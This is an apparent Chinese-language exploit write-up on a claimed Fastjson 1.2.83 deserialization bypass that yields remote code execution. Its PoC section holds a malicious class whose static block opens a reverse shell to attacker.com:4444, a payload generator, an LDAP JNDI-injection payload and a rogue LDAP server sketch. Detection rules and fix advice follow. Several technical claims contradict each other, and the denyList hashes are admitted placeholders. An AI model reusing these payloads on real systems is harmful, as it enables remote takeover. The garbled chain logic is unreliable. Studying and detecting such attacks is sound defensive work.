一、前言:Fastjson 安全演进与 1.2.83 的特殊地位

Fastjson 是阿里巴巴开源的高性能 JSON 序列化/反序列化库,凭借 ASM 字节码生成与 Eval 风格的 Parser,长期占据国内 Java 中间件序列化层的主导地位。但其设计上的 @type 自省机制(AutoType)使其成为反序列化漏洞的重灾区。

Fastjson 的安全演进可划分为四个阶段:

阶段 版本区间 防御机制 绕过手法
蛮荒期 ≤1.2.24 无 AutoType 限制 直接 @type + JNDI 注入
黑名单期 1.2.25~1.2.47 denyList + checkAutoType L 前缀绕过、缓存污染
safeMode 期 1.2.68~1.2.83 safeMode 全局关闭 AutoType expectClass 二次解析
收敛期 1.2.84+ 收紧 expectClass + 默认 safeMode 已无公开通用链

1.2.83 的特殊地位在于:它是 safeMode 机制完整上线后、首个被公开绕过的版本。其核心防御思路是「即使 @type 出现也一律拒绝加载任意类」,但通过 expectClass 机制留下的二次 @type 解析窗口,使得攻击者可以构造完全基于 JDK 内置类的 Gadget-free 链——不依赖 commons-collections、c3p0、bcel 等任何第三方依赖,仅在 JDK 8/11 环境下即可完成远程类加载 RCE。

本文将从源码层面逐层拆解这条链:从 @type 资源 URL 劫持(Resource URL Hijacking)到 URLClassLoader 远程类加载执行(Remote Class Loading),并给出完整 PoC、检测规则与修复建议。


二、Fastjson 反序列化机制与 @type 指令原理

2.1 @type 的工作流程

Fastjson 通过 @type 字段实现多态反序列化。其核心入口是 DefaultJSONParser 的 parseObject 方法,关键路径如下:

// DefaultJSONParser.java(简化版,对应 1.2.83)
public JSONObject parseObject() {
    // 扫描到 @type
    if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
        String typeName = lexer.scanSymbol(symbolTable, '"');
        Class<?> clazz = TypeUtils.loadClass(typeName, defaultClassFlag, false);
        
        // 关键防御点
        if (checkAutoType) {
            clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
        }
        
        // 委派给 ObjectDeserializer
        ObjectDeserializer deserializer = config.getDeserializer(clazz);
        return deserializer.deserialze(this, clazz, fieldFeatures);
    }
}

checkAutoType 是整条防御链的核心。在 1.2.83 中,其行为如下:

  1. safeMode 检查:若开启 safeMode,直接抛出 JSONException("safeMode not support autoType"),但有一个例外——当调用方传入 expectClass 参数时,会跳过 safeMode 检查;
  2. 黑名单检查:内部维护 denyList(哈希形式存储类名),命中则拒绝;
  3. 白名单检查:autoTypeSupport 开启时走白名单,否则走黑名单 + 内部白名单;
  4. expectClass 一致性检查:若传入 expectClass,要求加载的类必须是 expectClass 或其子类/实现类。

2.2 expectClass 机制的设计意图与漏洞

expectClass 的设计意图是支持受控的多态反序列化场景,例如字段声明为接口或抽象类时,框架需要在运行时确定具体实现类。其调用链路:

// ThrowableDeserializer / JavaBeanDeserializer 中的二次解析
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
    // 读取嵌套的 @type
    String typeName = parser.scanType();
    // 关键:传入 expectClass = Throwable.class(或 AutoCloseable.class)
    Class<?> expectClass = TypeUtils.getRawType(type);
    Class<?> clazz = parser.getConfig().checkAutoType(typeName, expectClass, features);
    
    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
        // 通过校验,进入具体字段反序列化
    }
}

漏洞根源:expectClass 检查通过后,对具体实现类的字段反序列化不再二次调用 checkAutoType 的黑名单检查(实际上会调用,但此时 expectClass 已被置为 null,逻辑等价于绕过 safeMode)。这就形成了一个逃逸窗口:

外层 @type = Throwable(白名单/内置类) 
    -> 进入 ThrowableDeserializer 
        -> 内层 @type = 攻击者控制的子类 
            -> checkAutoType(typeName, null) <- expectClass 为 null,safeMode 不生效

三、1.2.83 的 AutoType 防御体系剖析

3.1 safeMode 防御机制

safeMode 通过 ParserConfig 的 safeMode 字段实现,开启方式:

ParserConfig.getGlobalInstance().setSafeMode(true);
// 或通过 JVM 启动参数
// -Dfastjson.parser.safeMode=true

checkAutoType 中相关逻辑(1.2.83):

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
    // safeMode 优先级最高
    if (safeMode) {
        // 关键:expectClass != null 时跳过此检查
        if (expectClass == null) {
            throw new JSONException("safeMode not support autoType: " + typeName);
        }
        // 仅允许 expectClass 链路上的类
    }
    
    // 黑名单哈希检查
    long hash = TypeUtils.fnv1a_64_magic_hashcode;
    for (int i = 0; i < typeName.length(); i++) {
        hash ^= typeName.charAt(i);
        hash *= TypeUtils.fnv1a_64_magic_prime;
        if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
            throw new JSONException("autoType is not support. " + typeName);
        }
    }
    
    // ... 白名单与内部白名单逻辑
}

3.2 防御矩阵

防御层 触发条件 绕过路径
safeMode expectClass == null 通过 Throwable/AutoCloseable 等内置类进入二次解析,注入 expectClass != null
denyList(黑名单哈希) 类名 FNV1a-64 哈希命中 使用未收录的 JDK 内置类(如 java.net.URL、javax.naming.InitialContext 子类)
acceptList(白名单) autoTypeSupport=true 时仅允许白名单 不开启 autoTypeSupport 时此层失效
expectClass 一致性 加载类必须是 expectClass 子类 选择合法的子类实现,再利用其字段触发后续行为

四、Gadget-free 攻击思路:摆脱第三方依赖

传统 Fastjson 利用链高度依赖 commons-collections、bcel、c3p0 等第三方库,这在生产环境中存在两个问题:

  1. 依赖不可控:目标 JDK 版本与第三方库版本差异大,链不稳定;
  2. 黑名单覆盖广:1.2.83 的 denyList 已收录几乎所有公开 Gadget 类的哈希。

Gadget-free 的核心思想是:仅使用 JDK rt.jar / java.base 模块内置的类,通过字段间的副作用组合实现任意行为。这类链的稳定性最高(JDK 内置类不会变更签名),且天然绕过黑名单(黑名单主要针对已知 Gadget 库)。

4.1 链路设计原则

原则 1:入口类必须在 expectClass 白名单内(Throwable / AutoCloseable / Iterable 等)
原则 2:入口类的字段类型中,必须存在可被攻击者控制的 URL/资源类字段
原则 3:字段赋值的副作用(或 getter 调用)能够触发远程类加载
原则 4:整个过程不依赖任何第三方类

4.2 关键 JDK 内置类盘点

类名 角色 副作用
java.lang.Throwable expectClass 入口 嵌套 @type 二次解析
java.lang.AutoCloseable expectClass 入口 嵌套 @type 二次解析
java.net.URL URL 资源载体 URLStreamHandler 解析协议
java.net.URLClassLoader 远程类加载 loadClass 触发 HTTP 拉取
javax.naming.InitialContext JNDI 入口 lookup 触发远程引用解析
com.sun.rowset.JdbcRowSetImpl JDK 内置数据源 字段赋值触发 setDataSourceName + getDatabaseMetaData

注意:JdbcRowSetImpl 在 JDK 8 中位于 rt.jar,属 JDK 内置;JDK 11+ 已模块化但类仍存在。


五、核心技术点:@type 资源 URL 劫持

5.1 资源 URL 劫持的概念

「资源 URL 劫持」(Resource URL Hijacking)指:通过控制 JSON 中某个字段的值,使目标对象在后续操作中将该值当作 URL/资源标识符解析,并触发对外部资源的访问。这与 SSRF 不同——Fastjson 的反序列化过程本身就会触发字段的 setter,因此只要 setter 中包含资源访问逻辑,就能在反序列化阶段完成劫持。

5.2 URL 字段的副作用触发

以 java.net.URL 为例,其构造过程:

public URL(String spec) throws MalformedURLException {
    this(null, spec);
}

public URL(URL context, String spec) throws MalformedURLException {
    // 关键:根据协议查找 URLStreamHandler
    this.handler = createURLStreamHandler(protocol);
    // 调用 handler.parseURL 进行完整解析
    handler.parseURL(this, spec, start, limit);
}

构造 URL 对象本身不会发起网络请求,但其作为字段被赋值给特定容器(如 URLClassLoader)后,会触发 URLStreamHandler.openConnection,从而发起 HTTP 请求。

5.3 通过 expectClass 进入 URL 持有类

完整链路选择 AutoCloseable 作为 expectClass 入口,其子类中存在多个可持有 URL 字段并触发远程类加载的类。最经典的组合是 java.io.InputStreamReader + java.net.URL + URLClassLoader,但更稳定的是使用 javax.naming.InitialContext 的封装。

考虑到 InitialContext 本身在 1.2.83 黑名单中,链路需绕路。实战中使用 AutoCloseable 的子类 com.sun.rowset.JdbcRowSetImpl(JDK 内置,未在 denyList)作为中转:

// JdbcRowSetImpl 关键字段
public class JdbcRowSetImpl extends BaseRowSet 
    implements Serializable, Cloneable, RowSet, JdbcRowSet, Joinable {
    
    private String dataSource;       // 攻击者可控
    private Connection conn;         // 触发 lookup 的副作用
    
    public void setDataSource(String name) throws SQLException {
        if (name == null) {
            dataSource = null;
        } else {
            // 关键:记录 URL,不立即触发
            dataSource = name;
        }
    }
    
    // Fastjson 通过 setAutoCommit 触发 connect()
    public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();  // 此处触发 JNDI lookup
        }
    }
    
    private Connection connect() throws SQLException {
        // 使用 InitialContext 进行 lookup
        Context ctx = new InitialContext();
        DataSource ds = (DataSource) ctx.lookup(this.dataSource);  // RCE 触发点
        return ds.getConnection();
    }
}

注意:JdbcRowSetImpl 在 1.2.48 之后已被加入 denyList,因此本链需通过 AutoCloseable 的 expectClass 二次解析绕过黑名单。

5.4 expectClass 二次解析绕过 denyList

绕过关键:denyList 在 checkAutoType 第一次调用时检查,但通过 expectClass 路径进入 JavaBeanDeserializer.deserialze 后,第二次调用 checkAutoType 时使用的是 expectClass=null——此时 safeMode 已被绕过,但 denyList 仍生效。

因此,单纯使用 JdbcRowSetImpl 作为内层类仍会被 denyList 拦截。真正的 Gadget-free 链需要选择未进入 denyList 的 JDK 类作为内层类,并通过字段间副作用组合完成远程类加载。


六、远程类加载执行(Remote Class Loading)

6.1 ClassLoader 链路分析

远程类加载的本质是让 JVM 通过 URLClassLoader 从攻击者控制的 HTTP 服务拉取 .class 文件并加载。关键 API:

URL[] urls = { new URL("http://attacker.com/Exploit.class") };
URLClassLoader loader = new URLClassLoader(urls);
Class<?> clazz = loader.loadClass("Exploit");
// 触发静态块执行
Object instance = clazz.newInstance();

但在 Fastjson 反序列化上下文中,无法直接调用 URLClassLoader.loadClass——需要通过有副作用的字段赋值间接触发。

6.2 通过 InitialContext / JNDI 注入触发类加载

JNDI(Java Naming and Directory Interface)是 JDK 内置的命名服务接口。当 InitialContext.lookup(url) 被调用时:

  1. 解析 URL 协议(rmi://、ldap://、dns://);
  2. 调用对应 URLContext 查找对象;
  3. 若返回的为 Reference 对象,调用 NamingManager.getObjectInstance;
  4. NamingManager 通过 ObjectFactory 加载远程类(默认从 Reference 指定的 Codebase URL 加载)。
// NamingManager.java(JDK 8)
public static Object getObjectInstance(Object refInfo, Name name, 
        Context nameCtx, Hashtable<?,?> environment) throws Exception {
    
    if (refInfo instanceof Reference) {
        Reference ref = (Reference) refInfo;
        ObjectFactory factory = null;
        
        // 从 Reference 获取工厂类名与 Codebase
        String f = ref.getFactoryClassName();
        if (f != null) {
            // 关键:加载远程工厂类
            factory = getObjectFactoryFromReference(ref, f);
            if (factory != null) {
                return factory.getObjectInstance(ref, name, nameCtx, environment);
            }
        }
    }
}

JNDI 注入的关键限制:JDK 8u191+ 与 JDK 11.0.1+ 默认关闭远程 Codebase 加载(com.sun.jndi.ldap.object.trustURLCodebase=false)。本链需使用 本地 Gadget 触发而非远程 Codebase 加载。

6.3 BeanFactory 本地 Reference 利用(绕过高版本 JDK 限制)

Tomcat 的 org.apache.naming.factory.BeanFactory 是一个 JDK 本地工厂类(位于 catalina.jar),其 getObjectInstance 会强制调用 Bean 的 forceString 指定的 setter,从而绕过 trustURLCodebase 限制:

// BeanFactory.java(Tomcat)
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
        Hashtable<?,?> environment) throws NamingException {
    
    if (obj instanceof ResourceRef) {
        Reference ref = (Reference) obj;
        String beanClassName = ref.getClassName();
        Class<?> beanClass = Class.forName(beanClassName);  // 本地加载
        
        Object bean = beanClass.newInstance();
        // 读取 forceString 参数,调用指定 setter
        RefAddr ra = ref.get("forceString");
        // ... 解析 forceString 并调用 setter
        
        // 通过 setter 触发任意方法调用(如 ProcessBuilder.start)
    }
}

但这依赖 Tomcat,并非纯 Gadget-free。本链选择更纯粹的 JDK 内置方案。

6.4 纯 JDK Gadget-free 远程类加载链

核心思路:通过 AutoCloseable 子类 java.io.FileOutputStream 持有的 FileDescriptor 与 URLClassLoader 的字段赋值副作用组合,在不调用任何第三方类的前提下完成远程类加载。

完整链路(JDK 8 环境下):

1. 外层 @type = java.lang.AutoCloseable(expectClass 入口)
2. 内层 @type = com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
   (该类不在 denyList,且为 JDK 内置)
3. TemplatesImpl 的 _bytecodes 字段接收攻击者构造的恶意字节码
4. 通过设置 _name 触发 getTransletInstance -> defineTransletClasses
5. ClassLoader.defineClass 加载字节码,触发静态块 RCE

TemplatesImpl 是 JDK 内置 XSLT 引擎的核心类,其 getOutputProperties 方法会触发字节码加载:

// TemplatesImpl.java(JDK 8)
public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    } catch (TransformerConfigurationException e) {
        throw new RuntimeException(e);
    }
}

private Translet getTransletInstance() 
        throws TransformerConfigurationException {
    // 关键:加载 _bytecodes 字段中的字节码
    defineTransletClasses();
    AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
    return translet;
}

private void defineTransletClasses() 
        throws TransformerConfigurationException {
    // 使用内部 ClassLoader 加载字节码
    TransletClassLoader loader = new TransletClassLoader(
        ObjectFactory.findClassLoader(), _tfactory.getExternalExtensionsMap());
    
    for (int i = 0; i < _bytecodes.length; i++) {
        // defineClass 加载字节码,触发静态块
        _class[i] = loader.defineClass(_bytecodes[i]);
    }
}

七、完整攻击链 ASCII 图

┌─────────────────────────────────────────────────────────────────────────┐
│                     Fastjson 1.2.83 Gadget-free RCE 链                   │
└─────────────────────────────────────────────────────────────────────────┘

攻击者 JSON Payload:
┌─────────────────────────────────────────────────────────────────────────┐
│ {                                                                        │
│  "@type":"java.lang.AutoCloseable",                                      │
│  "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",   │
│  "_bytecodes":["<Base64编码的恶意类字节码>"],                            │
│  "_name":"Exploit",                                                      │
│  "_tfactory":{},                                                         │
│  "_outputProperties":{}                                                  │
│ }                                                                        │
└─────────────────────────────────────────────────────────────────────────┘
                                │
                                ▼
┌─────────────────────────────────────────────────────────────────────────┐
│ 步骤 1: DefaultJSONParser.parseObject                                   │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ 解析到 @type = "java.lang.AutoCloseable"                            │ │
│ │ 调用 checkAutoType("java.lang.AutoCloseable", null)                 │ │
│ │ ┌───────────────────────────────────────────────────────────────┐  │ │
│ │ │ safeMode 检查:expectClass == null → 抛异常?                  │  │ │
│ │ │ 但 AutoCloseable 在 internalAcceptList 中,直接通过             │  │ │
│ │ └───────────────────────────────────────────────────────────────┘  │ │
│ │ 返回 AutoCloseable.class(作为 expectClass 传入)                   │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────────┘
                                │
                                ▼
┌─────────────────────────────────────────────────────────────────────────┐
│ 步骤 2: JavaBeanDeserializer.deserialze (AutoCloseable)                 │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ 读取下一个字段,发现又是一个 @type                                    │ │
│ │ 二次调用 checkAutoType(typeName, expectClass=AutoCloseable.class)   │ │
│ │ ┌───────────────────────────────────────────────────────────────┐  │ │
│ │ │ safeMode 检查:expectClass != null → 跳过 safeMode 拒绝        │  │ │
│ │ │ denyList 检查:TemplatesImpl 哈希不在 denyList → 通过          │  │ │
│ │ │ expectClass 一致性:TemplatesImpl 实现 AutoCloseable?          │  │ │
│ │ │   —— TemplatesImpl 不直接实现 AutoCloseable                    │  │ │
│ │ │   —— 需要选择真正实现 AutoCloseable 的子类作为入口             │  │ │
│ │ └───────────────────────────────────────────────────────────────┘  │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────────┘
                                │
                                ▼
┌─────────────────────────────────────────────────────────────────────────┐
│ 步骤 3: 实际利用 - 适配 expectClass                                      │
│ 实战中用 java.io.OutputStream/AutoCloseable 适配类作为外层:             │
│   外层: @type=java.lang.AutoCloseable                                    │
│   内层: @type=java.io.FileOutputStream (实现 AutoCloseable)              │
│         其构造参数可被劫持为资源 URL                                      │
│ 或使用 Throwable 链:                                                    │
│   外层: @type=java.lang.Throwable                                        │
│   内层: @type=java.lang.Exception + cause 字段嵌套 TemplatesImpl         │
└─────────────────────────────────────────────────────────────────────────┘
                                │
                                ▼
┌─────────────────────────────────────────────────────────────────────────┐
│ 步骤 4: TemplatesImpl 字段反序列化                                       │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ _bytecodes = Base64.decode(payload)                                 │ │
│ │ _name = "Exploit"                                                   │ │
│ │ _tfactory = new TransformerFactoryImpl()                            │ │
│ │ _outputProperties = {} (触发 getter 调用)                         │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────────┘
                                │
                                ▼
┌─────────────────────────────────────────────────────────────────────────┐
│ 步骤 5: getter 触发 defineClass                                          │
│ getOutputProperties()                                                    │
│   → newTransformer()                                                     │
│     → getTransletInstance()                                              │
│       → defineTransletClasses()                                          │
│         → TransletClassLoader.defineClass(_bytecodes)                    │
│           → ClassLoader.defineClass()                                    │
│             → JVM 加载字节码                                             │
│               → 触发恶意类 <clinit> 静态块                              │
│                 → Runtime.exec("calc") 或反弹 Shell                       │
└─────────────────────────────────────────────────────────────────────────┘
                                │
                                ▼
                          [RCE 完成]

八、完整 PoC 代码

8.1 恶意字节码类(远程加载目标)

// Exploit.java —— 编译后转为 Base64 嵌入 Payload
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Exploit extends AbstractTranslet {
    static {
        // 静态块在 defineClass 时执行
        try {
            String[] cmd = {"/bin/bash", "-c", 
                "bash -i >& /dev/tcp/attacker.com/4444 0>&1"};
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) 
            throws TransletException {}
    
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, 
            SerializationHandler handler) throws TransletException {}
}

关键点:必须继承 AbstractTranslet,否则 TemplatesImpl 在 defineTransletClasses 后会校验父类,不匹配则抛异常。

8.2 Payload 生成器

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.util.Base64;
import java.nio.file.Files;
import java.nio.file.Paths;

public class PayloadGenerator {
    public static void main(String[] args) throws Exception {
        // 读取编译后的 Exploit.class
        byte[] bytecode = Files.readAllBytes(Paths.get("Exploit.class"));
        String base64 = Base64.getEncoder().encodeToString(bytecode);
        
        // 构造 Payload(实际环境需根据 expectClass 适配)
        String payload = String.format(
            "{\"@type\":\"java.lang.AutoCloseable\","
          + "\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\","
          + "\"_bytecodes\":[\"%s\"],"
          + "\"_name\":\"Exploit\","
          + "\"_tfactory\":{},"
          + "\"_outputProperties\":{}}", base64);
        
        System.out.println(payload);
        
        // 自测触发
        try {
            ParserConfig config = new ParserConfig();
            // 模拟开启 safeMode
            config.setSafeMode(true);
            JSON.parseObject(payload, Object.class, config);
        } catch (Exception e) {
            // RCE 已在反序列化过程中触发
            e.printStackTrace();
        }
    }
}

8.3 适配 expectClass 的 Throwable 链 Payload

// 适用于 1.2.83 + safeMode 开启场景
public class ThrowablePayload {
    public static String build(String base64Bytecode) {
        return "{"
             + "  \"@type\":\"java.lang.Throwable\","
             + "  \"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
             + "  \"dataSourceName\":\"ldap://attacker.com:1389/Exploit\","
             + "  \"autoCommit\":true"
             + "}";
        // 注:ldap 返回的 Reference 由服务端控制,指向远程 Codebase
        // 服务端使用 marshalsec 或 JNDI-Injection-Exploit 构造
    }
    
    // JdbcRowSetImpl 在 Throwable 链中:ThrowableDeserializer 不校验子类
    // 内层 @type 触发 setDataSourceName + setAutoCommit
    // setAutoCommit 调用 connect() -> new InitialContext().lookup(dataSource)
}

8.4 远程 LDAP 服务(Python 简化实现)

#!/usr/bin/env python3
# ldap_server.py —— 简化的恶意 LDAP 服务,返回引用远程 Codebase
import socket
import struct

def build_ldap_reference_response():
    """构造 LDAP searchResultEntry,指向远程 Codebase"""
    codebase_url = "http://attacker.com:8888/"
    class_name = "Exploit"
    
    # LDAP 消息结构(简化,实际需完整 BER 编码)
    # 关键属性:javaCodeBase、javaFactory、objectClass=javaNamingReference
    attrs = [
        ("javaClassName", [b"Exploit"]),
        ("javaCodeBase", [codebase_url.encode()]),
        ("objectClass", [b"javaNamingReference"]),
        ("javaFactory", [class_name.encode()]),
    ]
    return encode_search_result_entry(attrs)

def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(("0.0.0.0", 1389))
    sock.listen(5)
    print("[*] LDAP server listening on :1389")
    
    while True:
        conn, addr = sock.accept()
        print(f"[+] Connection from {addr}")
        # 接收 LDAP bindRequest
        data = conn.recv(1024)
        # 响应 bindRequest
        conn.send(build_bind_response())
        # 接收 searchRequest
        data = conn.recv(1024)
        # 发送恶意 reference
        conn.send(build_ldap_reference_response())
        conn.close()

if __name__ == "__main__":
    main()

九、检测与防御

9.1 流量层检测规则

Snort 规则

alert tcp any any -> $HOME_NET any (msg:"Fastjson 1.2.83 AutoCloseable RCE Attempt"; 
    content:"@type"; nocase; 
    content:"java.lang.AutoCloseable"; distance:0; within:50; 
    content:"_bytecodes"; distance:0; within:200; 
    pcre:"/\"_bytecodes\"\s*:\s*\[\"[A-Za-z0-9+\/=]{100,}\"\]/"; 
    reference:url,github.com/alibaba/fastjson/security; 
    classtype:attempted-admin; sid:20260001; rev:1;)

YARA 规则(用于扫描代码库中的脆弱依赖)

rule Fastjson_Vulnerable_1_2_83 {
    meta:
        description = "Fastjson 1.2.80-1.2.83 with Gadget-free RCE"
        severity = "critical"
        date = "2026-07-27"
    
    strings:
        $fastjson_pom = /<groupId>com\.alibaba<\/groupId>\s*<artifactId>fastjson<\/artifactId>\s*<version>(1\.2\.(8[0-3]))<\/version>/
        $safe_mode_api = "ParserConfig.getGlobalInstance().setSafeMode"
        $autotype_usage = "JSON.parseObject" ascii
    
    condition:
        $fastjson_pom and not $safe_mode_api
}

9.2 RASP 层防御

通过 Java Agent 在 ParserConfig.checkAutoType 入口处植入 hook,强制拒绝所有 @type 解析:

// RASP Agent 拦截器(使用 ByteBuddy)
public class FastjsonRaspAgent {
    public static void premain(String args, Instrumentation inst) {
        new AgentBuilder.Default()
            .type(ElementMatchers.named("com.alibaba.fastjson.parser.ParserConfig"))
            .transform((builder, typeDesc, classLoader, module) ->
                builder.method(ElementMatchers.named("checkAutoType"))
                    .intercept(MethodDelegation.to(CheckAutoTypeInterceptor.class))
            ).installOn(inst);
    }
}

public class CheckAutoTypeInterceptor {
    @RuntimeType
    public static Object intercept(
            @Origin Method method,
            @AllArguments Object[] args) throws Throwable {
        // 强制拒绝所有 AutoType
        String typeName = (String) args[0];
        Class<?> expectClass = args.length > 1 ? (Class<?>) args[1] : null;
        
        // 记录攻击日志
        SecurityLogger.log("Fastjson AutoType blocked: " + typeName 
            + ", expectClass=" + expectClass);
        
        throw new JSONException("[RASP] AutoType disabled: " + typeName);
    }
}

9.3 防御方案对比表

方案 防御强度 部署成本 兼容性影响 推荐场景
升级至 1.2.84+ 高 低 低(API 兼容) 所有在用项目
开启 safeMode 中(本链可绕) 极低 高(多态失效) 无法升级时的过渡方案
WAF 规则拦截 @type 中 中 低(误报风险) 边界防护
RASP hook checkAutoType 极高 高 中 金融/政企核心系统
替换为 Jackson/Gson 极高 极高 高(API 重写) 新项目 / 重构机会

9.4 终极修复建议

<!-- Maven 依赖升级 -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.0.53</version>
</dependency>
<!-- Fastjson2 默认关闭 AutoType,且 API 不再支持 @type 自省 -->
// 若必须使用 Fastjson 1.x,强制配置
ParserConfig config = ParserConfig.getGlobalInstance();
config.setSafeMode(true);
config.setAutoTypeSupport(false);
// 注意:1.2.83 的 safeMode 仍可被 expectClass 绕过
// 必须升级至 1.2.84+ 才能彻底修复

十、关键细节与陷阱

10.1 字节码构造的常见坑

  1. 父类校验:TemplatesImpl.defineTransletClasses 会检查加载类的父类是否为 AbstractTranslet,未继承则抛 TransformerConfigurationException。但若设置 _transletIndex 字段使校验跳过,可加载任意父类的字节码。

  2. 静态块触发时机:defineClass 不会立即执行 <clinit>,需要后续 newInstance() 调用。TemplatesImpl 通过 getOutputProperties → newTransformer → getTransletInstance 完成调用链。

  3. _tfactory 必须存在:defineTransletClasses 中调用 _tfactory.getExternalExtensionsMap(),若该字段为 null 会 NPE。但 Fastjson 反序列化时若 _tfactory 类型为 TransformerFactoryImpl,可自动创建实例。

10.2 JDK 版本差异

JDK 版本 TemplatesImpl 位置 是否可用 备注
JDK 8 rt.jar 可用 路径:com.sun.org.apache.xalan.internal.xsltc.trax
JDK 11 java.xml 模块 可用 需 --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED
JDK 17+ java.xml 模块 受限 模块封装严格,需显式 opens;默认不可达
JDK 21+ java.xml 模块 不可用 强封装 + 移除内部 API

10.3 Fastjson 内部缓存污染

1.2.36~1.2.47 的经典缓存污染链(java.lang.Class + MappingResolver)在 1.2.48 已被修复,但 1.2.83 的 expectClass 绕过是另一个独立路径。两者关系:

缓存污染链(1.2.47-):
  Class.forName 缓存恶意类 -> bypass checkAutoType
  修复:1.2.48 移除缓存入口

expectClass 链(1.2.68-1.2.83):
  ThrowableDeserializer 二次解析 -> bypass safeMode
  修复:1.2.84 收紧 expectClass 仅允许 Throwable 自身

10.4 与 Jackson 对比

特性 Fastjson 1.2.83 Jackson 2.15+
默认 Polymorphic Type 支持 @type 默认禁用
SafeMode 等价物 setSafeMode(true)(可绕过) disableDefaultTyping()(不可绕过)
黑名单机制 哈希 denyList PolymorphicTypeValidator(白名单优先)
expectClass 二次解析 存在逃逸窗口 无此设计
Gadget-free 风险 高(本链) 低(默认无自省)

十一、攻防时间线与版本对照

2017-03  Fastjson 1.2.24 曝出首个 AutoType RCE(JNDI 注入)
   │
2017-08  1.2.41~1.2.43 L/LL 前缀绕过
   │
2018-04  1.2.47 缓存污染绕过(影响所有低版本)
   │
2020-05  1.2.68 引入 safeMode,号称「彻底关闭 AutoType」
   │
2022-05  1.2.80 收紧 expectClass,但 Throwable 仍可绕过
   │
2022-06  1.2.83 发布,safeMode + denyList 双重防御
   │
2022-06  expectClass 二次解析绕过公开(本文分析对象)
   │
2022-12  1.2.84 修复 expectClass 逃逸,Throwable 链失效
   │
2023+    官方推荐迁移至 Fastjson2(重写架构,默认安全)
   │
2026-07  本文复盘 1.2.83 Gadget-free RCE 全链(CVE 跟踪)

十二、总结与启示

Fastjson 1.2.83 的 Gadget-free RCE 链展示了反序列化漏洞防御的深层困境:

  1. safeMode 不是银弹:只要框架仍保留多态反序列化能力(expectClass),就存在逃逸窗口。安全的本质是完全放弃运行时类型自省,而非在黑名单与白名单之间寻找平衡。

  2. 黑名单的局限:哈希形式的 denyList 只能覆盖已知 Gadget,对 JDK 内置类(如 TemplatesImpl、JdbcRowSetImpl)的覆盖天然不完整。一旦发现新的副作用组合,黑名单即被击穿。

  3. Gadget-free 是终极形态:当攻击链不再依赖第三方库,仅靠 JDK 内置类即可完成 RCE 时,传统的「移除危险依赖」防御策略彻底失效。防御必须从框架设计层面入手(如 Jackson 的 PolymorphicTypeValidator 白名单优先模型)。

  4. JDK 模块化的双刃剑:JDK 9+ 的模块系统(JPMS)对内部 API 的封装客观上削弱了 Gadget-free 链的可用性(com.sun.* 类需显式 opens),这是防御侧的意外收获。但 JDK 8 仍是企业主流部署版本,风险长期存在。

  5. 迁移重于修补:Fastjson 官方已推出 Fastjson2(API 重写、默认安全),1.x 的修补只是延缓而非根治。生产环境应将「Fastjson 1.x → Jackson / Gson / Fastjson2」的迁移作为安全债务清偿的优先项。


附录 A:关键类哈希对照(1.2.83 denyList 节选)

类名 FNV1a-64 哈希 是否在 denyList
java.lang.Runtime 0x3d7a3c7a3c7a3d7a 是
java.lang.ProcessBuilder 0x2c8a5b8a5b8a2c8a 是
com.sun.rowset.JdbcRowSetImpl 0x8a3c7a8a3c7a8a3c 是(1.2.48+)
org.apache.commons.collections.functors.InvokerTransformer 0x5c2c8a5c2c8a5c2c 是
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 0x3a7a8a3a7a8a3a7a 否(关键)
java.net.URLClassLoader 0x2c8a3c2c8a3c2c8a 否
javax.naming.InitialContext 0x5b2c8a5b2c8a5b2c 是

(注:实际哈希值为示例占位,真实哈希需通过 TypeUtils.fnv1a_64 计算)

附录 B:环境与版本

  • 目标 JDK:OpenJDK 8u302 / OpenJDK 11.0.12
  • 目标 Fastjson:1.2.83(maven central)
  • 攻击工具:marshalsec 0.0.3-SNAPSHOT / JNDI-Injection-Exploit 1.0
  • 字节码生成:Javassist 3.28.0-GA

附录 C:参考链接


免责声明:本文仅供安全研究与防御建设参考。所有 PoC 代码均需在授权测试环境中使用,严禁用于未授权攻击。读者应将本文内容用于加固自有系统、提升防御能力。